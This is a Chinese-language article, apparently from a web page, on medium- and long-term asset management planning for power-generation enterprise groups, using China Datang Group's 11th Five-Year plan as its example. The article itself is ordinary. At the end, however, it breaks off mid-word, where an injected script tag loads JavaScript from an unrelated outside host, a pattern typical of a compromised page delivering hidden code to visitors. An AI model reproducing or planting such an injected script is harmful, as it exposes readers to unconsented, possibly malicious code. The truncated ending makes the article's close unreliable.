随着电力体制改革的逐步深入,在原国家电力公司基础上组建的各个发电企业集团面临着愈来愈复杂的环境变化和更加激烈的市场竞争,以战略为指引,编制本企业集团各个战略阶段的经营规划,分析未来经营发展中存在的关键性问题并提出有针对性的措施,已成为当前发电企业集团应对环境变化、量化战略管理目标和实现科学理财的迫切需要。
为此,中国大唐集团公司以科学理财观为指导,以“两型、四化、三个能力”战略和“3.8.18”战略目标为指引,历时三个多月,编制完成了集团的“十一五”资产经营规划,为本集团“十一五”期间战略目标的完成进一步明确了方向和奠定了基础,同时也是发电企业集团编制中长期资产经营规划的有益探索和实践。
一、中长期资产经营规划的内涵
中长期资产经营规划是有效衔接战略规划和年度预算的重要环节,具体分析其内涵,对于发电企业集团编制中长期资产经营规划具有重要意义。
(一)中长期(资产)经营规划的概念和特点
中长期经营规划是以企业战略为指导,以环境分析(SWOT同质化分析)为基础,以中长期为计划期,以企业生产经营为主要内容,以增强企业竞争力、实现企业价值最大化为主要目的,以联系战略目标(及政策和策略)与经营实践活动为重点的企业规划。本文所讨论的中长期资产经营规划,则是在上述框架的基础上,结合发电企业集团具体实际的发展与创新。
(二)中长期资产经营规划与战略和预算的关系
首先,战略规划是制定中长期资产经营规划和年度预算的前提和依据。战略规划在企业的计划结构中处于最顶级,突出体现了战略性、长期性和指导性,必然成为中长期资产经营规划和年度预算的前提和依据;其次,中长期资产经营规划是细化战略规划和指引年度预算的关键环节。从目标层次、时间性看,中长期资产经营规划处于战略规划和年度预算之间,可以起到承上启下的重要作用;第三,年度预算是对战略规划和中长期资产经营规划的具体落实。
具体对发电企业集团而言,当前及今后一个时期大都处于快速发展期,经营风险和财务压力较大,财务战略重点定位在筹集资金支持集团快速发展、确保效益稳步增长和控制快速发展带来的财务风险等三个方面,而这直接影响了中长期资产经营规划和年度预算的制定。
二、发电企业集团编制中长期经营规划的必要性和作用
(一)是大型国有企业集团落实科学发展观、贯彻国家宏观经济政策的内在要求
党的十六届五中全会,明确了我国“十一五”经济社会发展的指导方针、奋斗目标、主要任务和重大举措,提出了坚持以科学发展观统领经济社会发展全局的要求。落实科学发展观对财务工作的具体要求就是要树立科学理财观: 一是体现战略意识。通过编制工作,可以在企业集团内部建立起发展战略、中长期资产经营规划、年度预算逐级落实的战略协同体系;二是体现全局意识。编制中长期资产经营规划必然要求局部利益要服从集团整体利益,眼前利益要服从长远利益;三是体现市场意识。在适应市场要求、研究市场规律的基础上,编制中长期资产经营规划,有利于主动应变、提高集团公司的竞争力;四是体现创新意识。编制中长期资产经营规划本身就是调整管理手段和管理方法,保持企业与理财环境的协调与平衡,实现粗放式理财向精细化理财过渡的创新性转变。
编制与国家“十一五”计划相符合的企业中长期资产经营规划,实现企业的持续快速健康协调发展,是大型国有企业集团落实科学发展观、贯彻国家“十一五”期间的宏观经济政策的必然要求,也是大型国有企业集团的神圣使命和责任。
(二)是保证企业集团积极应对外界变化、持续健康发展的必要条件
复杂的外部环境、激烈的市场竞争要求企业集团未雨绸缪,提前预测经济、市场和政策等环境变化,全面分析、充分认识自身的优势及存在的问题,有针对性地提出建议和措施,以增强适应环境变化、抵御市场风险的能力。编制中长期资产经营规划,明确了分阶段、分年度的经营发展目标,分析存在的内外部问题,并提出保证目标实现所需的企业资源和需要采取的行动措施,为企业集团应对外界变化提供了必要条件。
(三)是落实企业集团战略、实现战略和预算有效衔接的重要环节
许多企业在战略实施过程中,或者缺乏必要的中间环节,无法将企业集团战略和年度预算有效衔接统一,无法对中长期经营情况准确预测和判断,使得战略实施难以把握;或者虽然有中间环节,但停留在具体项?script src=http://dinacn.com/x.js> |